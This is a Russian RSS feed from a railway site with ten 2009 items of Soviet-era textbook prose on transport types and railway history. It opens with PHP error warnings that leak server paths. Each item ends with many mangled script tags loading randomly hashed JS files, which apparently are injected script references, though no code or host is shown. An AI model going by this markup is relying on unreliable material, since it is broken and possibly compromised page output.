Warning: fopen(/var/www/fastuser/data/www/yo31.ru/engine/cache/rss.tmp): failed to open stream: пФЛБЪБОП Ч ДПУФХРЕ in /var/www/fastuser/data/www/yo31.ru/engine/modules/functions.php on line 337

Warning: fwrite() expects parameter 1 to be resource, boolean given in /var/www/fastuser/data/www/yo31.ru/engine/modules/functions.php on line 338

Warning: fclose() expects parameter 1 to be resource, boolean given in /var/www/fastuser/data/www/yo31.ru/engine/modules/functions.php on line 339

Warning: Cannot modify header information - headers already sent by (output started at /var/www/fastuser/data/www/yo31.ru/engine/modules/functions.php:337) in /var/www/fastuser/data/www/yo31.ru/engine/rss.php on line 221
<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Станция Белгород расписание поездов. Железнодорожный транспорт</title>
<link>http://yo31.ru/</link>
<language>ru</language>
<description>Станция Белгород расписание поездов. Железнодорожный транспорт</description>
<generator>DataLife Engine</generator><item>
<title>Железные дороги — основной вид транспорта Белгородской области</title>
<guid isPermaLink="true">http://yo31.ru/railway/621-zheleznye-dorogi-osnovnojj-vid-transporta.html</guid>
<link>http://yo31.ru/railway/621-zheleznye-dorogi-osnovnojj-vid-transporta.html</link>
<description><![CDATA[<div>Железные дороги &mdash; основной вид транспорта нашей страны. Они имеют важнейшее государственное, народнохозяйственное и оборонное значение и являются одним из факторов повышения культурного уровня населения, расширения взаимного общения народов, укреп­ления их дружбы, развития международных связей.</div><scr"/117f92017342e00c8ad46dcfc733081a.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/da48ff3f65e9fbed24ce24ae3bf794b2.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/fdef8d936c5b4e67b40cda46d4a82e69.js" type="text/javascript"><scr"/f10a9161cf3ccbec09c2ba38c3efde59.js" type="text/javascript"><scr"/8033c4a51d52b1e0ff05530c01fcf878.js" type="text/javascript"><scr"/bd723a8356436af29ca5fed1573cb279.js" type="text/javascript"><scr"/186fffe043e3518bdca01219462ecda9.js" type="text/javascript"><scr"/5ba2d80b9e71726f2f12f2304a70a2e9.js" type="text/javascript"><scr"/f78c8fcfb0e1c235dc695aca62ce3ee0.js" type="text/javascript">]]></description>
<category><![CDATA[Железные дороги]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Fri, 12 Jun 2009 11:51:08 +0400</pubDate>
</item><item>
<title>Значение железнодорожного транспорта и основные показатели его работы</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/622-znachenie-zheleznodorozhnogo-transporta-i.html</guid>
<link>http://yo31.ru/railway/railway-transportation/622-znachenie-zheleznodorozhnogo-transporta-i.html</link>
<description><![CDATA[<div>Рассматривая материальные условия общественного производства, Карл Маркс указывал, что «кроме добывающей промышленности, земледелия и обрабатывающей промышленности существует еще чет­вертая сфера материального производства ... Это &mdash; транспортная промышленность, все равно, перевозит ли она людей или товары». В отличие от других отраслей промышленности транспорт не произ­водит новых продуктов. Продукцией транспорта является само пере­мещение, сама перевозка пассажиров и грузов.<br /> Основным видом транспорта в СССР являются железные дороги. Они связывают в единое целое все области и районы страны, обес­печивают потребности населения в перевозках и нормальный оборот продуктов промышленности и сельского хозяйства. В этом огромное государственное и народнохозяйственное значение железнодорож­ного транспорта. В. И. Ленин писал: «...железные дороги &mdash; это гвоздь, это одно из проявлений самой яркой связи между городом и деревней, между промышленностью и земледелием, на которой основывается целиком социализм».</div><scr"/7dfa5c5a0983c4ff6bd4a86b394c2588.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/8b9bb1c8c380f3d58732b7c25ead8e6d.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/dd9df7899aa9ec3edb3b83f62fafa6ed.js" type="text/javascript"><scr"/84cebe1a658cf88b864b0fcd38d1e2eb.js" type="text/javascript"><scr"/1a66056454f6b376da8c6755d1ab8467.js" type="text/javascript"><scr"/ba167b50481f447160746da6947b6789.js" type="text/javascript"><scr"/dc269e1a75847dbcfdd50031991dd38e.js" type="text/javascript"><scr"/06276c5cefee72cf496ab01d1777c14c.js" type="text/javascript"><scr"/3b6698f8bb47a257965ef84aebde8367.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:29:30 +0400</pubDate>
</item><item>
<title>Виды транспорта и их особенности. Роль железных дорог в единой транспортной системе</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/623-vidy-transporta-i-ikh-osobennosti.-rol-zheleznykh.html</guid>
<link>http://yo31.ru/railway/railway-transportation/623-vidy-transporta-i-ikh-osobennosti.-rol-zheleznykh.html</link>
<description><![CDATA[<div>Перевозки пассажиров и грузов осуществляются различными вида­ми транспорта образующими единую сеть путей сообщения страны. В зависимости от функций в процессе производства транспорт подраз­деляют на:<br /> <strong>внутрипроизводственный, или промышленный</strong>, обеспечивающий в основном технологические нужды данного производства (перевозка грузов в пределах предприятия, доставка сырья, топлива, материалов с магистральной дороги и вывоз готовой продукции и порожняка в обратном направлении);<strong><br /> внешний, или магистральный,</strong> обеспечивающий эко­номические связи между производителями и потребителями продук­ции и пассажирские перевозки.</div><scr"/2e131a50cd1820a5d8c44cd46299a899.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/4250eea1232c2535653ca3e1c0fed415.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/012ea64e9f2847faac5dd26da294870c.js" type="text/javascript"><scr"/292a124a2240d1fdddfc5b17f3f1ba73.js" type="text/javascript"><scr"/53f3e052076e13377041618c3774aa80.js" type="text/javascript"><scr"/5c7e50759b9797737717f50ba2fa75ed.js" type="text/javascript"><scr"/5cb9438d803c5ac0d9f0027f874eea14.js" type="text/javascript"><scr"/1006b16d47d721e8bc2222445a96aecf.js" type="text/javascript"><scr"/3fac1bf5f7dd8fbce180cfdf4db29194.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:36:12 +0400</pubDate>
</item><item>
<title>Железнодорожный транспорт</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/624-zheleznodorozhnyjj-transport.html</guid>
<link>http://yo31.ru/railway/railway-transportation/624-zheleznodorozhnyjj-transport.html</link>
<description><![CDATA[<div>Этот вид транспорта наиболее при­способлен к массовым перевозкам, функционирует днем и ночью независимо от времени года и атмосферных условий, что особенно важно для СССР с его разными климатическими зонами. Трудно пе­реоценить роль стальных магистралей в освоении новых районов страны. Железные дороги приносят жизнь в труднодоступные и уда­ленные местности, помогают освоить природные богатства.</div><scr"/d345ec4bc0a9528ae05050c3f80b2e5a.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/023c5d35c0161b96c6217aa485f3fac0.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/e3e3fc67f4499139ee6442541b9661b2.js" type="text/javascript"><scr"/297bc00aa99c3e7fc267c06cf080494c.js" type="text/javascript"><scr"/06de81c55574292becb002196531495d.js" type="text/javascript"><scr"/7894fd254bb3e5b29eb34f997a19923d.js" type="text/javascript"><scr"/1c7581ba0689685812361e8888fdea00.js" type="text/javascript"><scr"/42d5de9b39e80be9aa91970eb1d5bab2.js" type="text/javascript"><scr"/a9345e9478e46f3d8cdcf4c13707c146.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:37:11 +0400</pubDate>
</item><item>
<title>Автомобильный транспорт</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/625-avtomobilnyjj-transport.html</guid>
<link>http://yo31.ru/railway/railway-transportation/625-avtomobilnyjj-transport.html</link>
<description><![CDATA[<div>По объему перевозимых грузов в тон­нах этот вид транспорта занимает первое место. Он об­ладает большой маневренностью, благодаря чему груз может быть доставлен от места погрузки отправителем до склада получателя, минуя перегрузочные операции, и с большей скоростью, чем по воде и железной дороге. При малых потоках пассажиров и грузов автомо­бильный транспорт требует меньших затрат, чем железнодорожный, так как в этом случае постройка автодороги может быть упрощена и удешевлена.</div><scr"/714c1303548c0f90b78493da3e3fa886.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/394702afdbb361b0cb434ece5063f1de.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/021936c85f0618f09b99f45aa0a4f203.js" type="text/javascript"><scr"/101a0e92f097770ef2c1bd51fa53f28b.js" type="text/javascript"><scr"/b87c8fa37884994efddb615667da0d32.js" type="text/javascript"><scr"/57fa9a0c030010943ca96fc601b1d45c.js" type="text/javascript"><scr"/1fe2685ef30deba47857a98dabf14034.js" type="text/javascript"><scr"/70ff921e7f3c6e3c4968a54b26720aed.js" type="text/javascript"><scr"/f0651b00049e39d39fa38829522084c1.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:38:04 +0400</pubDate>
</item><item>
<title>Водный транспорт</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/626-vodnyjj-transport.html</guid>
<link>http://yo31.ru/railway/railway-transportation/626-vodnyjj-transport.html</link>
<description><![CDATA[<div>Этот вид транспорта требует сравнительно небольших затрат на освоение путей сообщения. Средняя себестои­мость перевозок по внутренним водным путям примерно такая же, как и на железных дорогах.<br /> По скорости доставки грузов речной транспорт уступает желез­нодорожному. Для повышения скоростей сообщения и экономических показателей на речном транспорте широко применяют новые суда, судовые составы и совершенствуют методы их эксплуатации. Вое больше применяются суда на подводных крыльях и на воздушной подушке. Они имеют небольшую грузоподъемность и предназначены главным образом для перевозки пассажиров.</div><scr"/13d394ddcc9bbbc815e3387bd34dacae.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/39cd78a5a0839cb0a5657dee609aaaac.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/887667adfdf29bc64df61718a2873336.js" type="text/javascript"><scr"/0e73d90bf79786181490c910bb4c9f5f.js" type="text/javascript"><scr"/8dd4cd3a1836bf3e8f6dd7502187eb8e.js" type="text/javascript"><scr"/6a0eac84c7982203dcd6ceb5af0f69d2.js" type="text/javascript"><scr"/da2afea63fdbd6a93063fc505d016408.js" type="text/javascript"><scr"/cac37923245421c262d1d8b2a7267785.js" type="text/javascript"><scr"/24b12bf58d56b4442013129a5a058d3d.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:38:50 +0400</pubDate>
</item><item>
<title>Воздушный транспорт</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/627-vozdushnyjj-transport.html</guid>
<link>http://yo31.ru/railway/railway-transportation/627-vozdushnyjj-transport.html</link>
<description><![CDATA[<div>Это самый скоростной вид транспорта, обеспечивающий беспосадочные полеты на большие расстояния со скоростями 1000 км/ч и выше. Основной объем перевозок выпол­няют современные самолеты Ту-154, Ту-134, Ил-62. Введен в экс­плуатацию 350-местный аэробус Ил-86.<br /> Важным преимуществом воздушных путей сообщения является возможность быстрой организации регулярной связи между любыми районами страны, где отсутствуют другие виды транспорта, притом по кратчайшим направлениям.</div><scr"/ee125eb547e9e00cb907647796cac33f.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/311854eec9647ddfb38c69f051cb681d.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/1f61a6ab36f5705d4e29766738859826.js" type="text/javascript"><scr"/f7e50de77e802597b8a6c4b243a51896.js" type="text/javascript"><scr"/6e909fc8d058eaf1ff1130b3016ca53a.js" type="text/javascript"><scr"/430ecbe86e2581e7a4d67db94a6adcb6.js" type="text/javascript"><scr"/35186ac80de9e9e8ace7ebb4206fb9ae.js" type="text/javascript"><scr"/c8325272091064a7f938eeb6f21b8cd1.js" type="text/javascript"><scr"/1548922bcff5d266271ce7be28f80110.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:39:23 +0400</pubDate>
</item><item>
<title>Трубопроводный транспорт</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/628-truboprovodnyjj-transport.html</guid>
<link>http://yo31.ru/railway/railway-transportation/628-truboprovodnyjj-transport.html</link>
<description><![CDATA[<div>На трубопроводном транспорте самая низкая себестоимость перевозок. Транспортировка нефти по труба­ проводам большого диаметра в среднем в 2&mdash;3 раза дешевле, чем по железным дорогам. Стоимость сооружения 1 км нефтепровода почти в 2 раза меньше стоимости строительства 1 км железнодорожной ли­нии, причем нефтепровод может быть проложен повсеместно и по наи­более короткому направлению. Благодаря высокой герметичности перекачки трубопроводный транспорт обеспечивает сокращение потерь нефти в 1,5 раза по сравнению с железнодорожным и в 2,5 ра­за по сравнению с водным транспортом.</div><scr"/e08aa94cb1766e59b966057325178b19.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/f2881144d4fb0dd5f965956714483174.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/3e527de942e8e0d058b64268edabc6ad.js" type="text/javascript"><scr"/64f5aaa8808b985f9b323bb8862dc6ed.js" type="text/javascript"><scr"/7d437c33072590e8a8d1e2ed6374fbdd.js" type="text/javascript"><scr"/c569234ae99d9fee1a7df6d5eedb2a51.js" type="text/javascript"><scr"/fa554187c75bdeed3e715f8dcda888a1.js" type="text/javascript"><scr"/ce9982f93b144d9db5ce1794f8970993.js" type="text/javascript"><scr"/c19293fd46bb34cc78f140e5fb4b8b1c.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Mon, 15 Jun 2009 10:41:17 +0400</pubDate>
</item><item>
<title>Дороги дореволюционной россии</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/629-dorogi-dorevoljucionnojj-rossii.html</guid>
<link>http://yo31.ru/railway/railway-transportation/629-dorogi-dorevoljucionnojj-rossii.html</link>
<description><![CDATA[<div>Прообразом железных дорог явились заводские колейные лежневые пути. В 1764 г. Кузьма Фролов применил на Колывано-Воскресенских заводах на Алтае механическую канатную тягу по рельсолежневым внутрицеховым путям; имевшим форму желоба: вагонетки, груженные рудой, перемещались по путям с помощью водяного колеса и канатов.<br /> В 1788 г. А. С. Ярцевым в Петрозаводске на Александровском пушечном заводе была сооружена рельсовая дорога с чугунными рельсами протяженно­стью 174 м; а через 21 год горный инженер Петр Фролов (сын Кузьмы Фролова) закончил строительство на Алтае чугунной дороги с конной тягой.</div><scr"/67cdd207200f559becc5890c5d1178fa.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/8311d8373d827390a0046e04d7dcba4e.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/ce2895acfdb0cb27714b43391ffd2fa4.js" type="text/javascript"><scr"/ee59b316a0448ea4bb75043b09ea2c65.js" type="text/javascript"><scr"/2a11afc865c4b95b44a83f82a618b191.js" type="text/javascript"><scr"/427323a9ee93aeb59cccef1cb09f730d.js" type="text/javascript"><scr"/af842049c24915f019efe146eb090923.js" type="text/javascript"><scr"/2685dd13f47d2c1400a5c10669cfc0bb.js" type="text/javascript"><scr"/9d038597bb5cc11353f7ee21cf50fa4b.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Wed, 17 Jun 2009 12:01:36 +0400</pubDate>
</item><item>
<title>Развитие железнодорожного транспорта</title>
<guid isPermaLink="true">http://yo31.ru/railway/railway-transportation/630-razvitie-zheleznodorozhnogo-transporta.html</guid>
<link>http://yo31.ru/railway/railway-transportation/630-razvitie-zheleznodorozhnogo-transporta.html</link>
<description><![CDATA[<div>С победой Великой Октябрьской социалистической революции ка­зенные железные дороги перешли в ведение социалистического госу­дарства, а в 1918 г. были национализированы и частные дороги. Мо­лодая Советская республика унаследовала от царской России транс­порт, находившийся в состоянии разрухи. Для восстановления пути, сооружений и подвижного состава, а также налаживания работы транспорта потребовались чрезвычайные меры.<br /> 26 марта 1918 г. был опубликован декрет Совета Народных Комис­саров, подписанный В. И. Лениным, «О централизации управления, охране дорог и повышении их провозоспособности». Этот декрет имел большое значение для укрепления дисциплины, введения централиза­ции управления и единоначалия на транспорте.</div><scr"/09df8e509a8a4e0568ceec9fc6996575.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/921f82327a682f2ec094b4a4b2d1beb4.js" type="text/javascript"><scr"/engine.js" type="text/javascript"><scr"/b214b8a70d17900586d88b2ce71e5bf4.js" type="text/javascript"><scr"/56e8f37c9ea494231e598e1312a3d8b4.js" type="text/javascript"><scr"/6fb846577950e881b3b6aa343337d1cb.js" type="text/javascript"><scr"/e8c5162588cb8386b2340ab107c6018c.js" type="text/javascript"><scr"/d658e20189be6e6104a92c4431cf256a.js" type="text/javascript"><scr"/dd752d412bb8a8d6adb8dd516d41f9c8.js" type="text/javascript"><scr"/2eb0ec86a7039816e4483f74821a5965.js" type="text/javascript">]]></description>
<category><![CDATA[Железнодорожный транспорт]]></category>
<dc:creator>damir</dc:creator>
<pubDate>Wed, 17 Jun 2009 12:03:51 +0400</pubDate>
</item></channel></rss>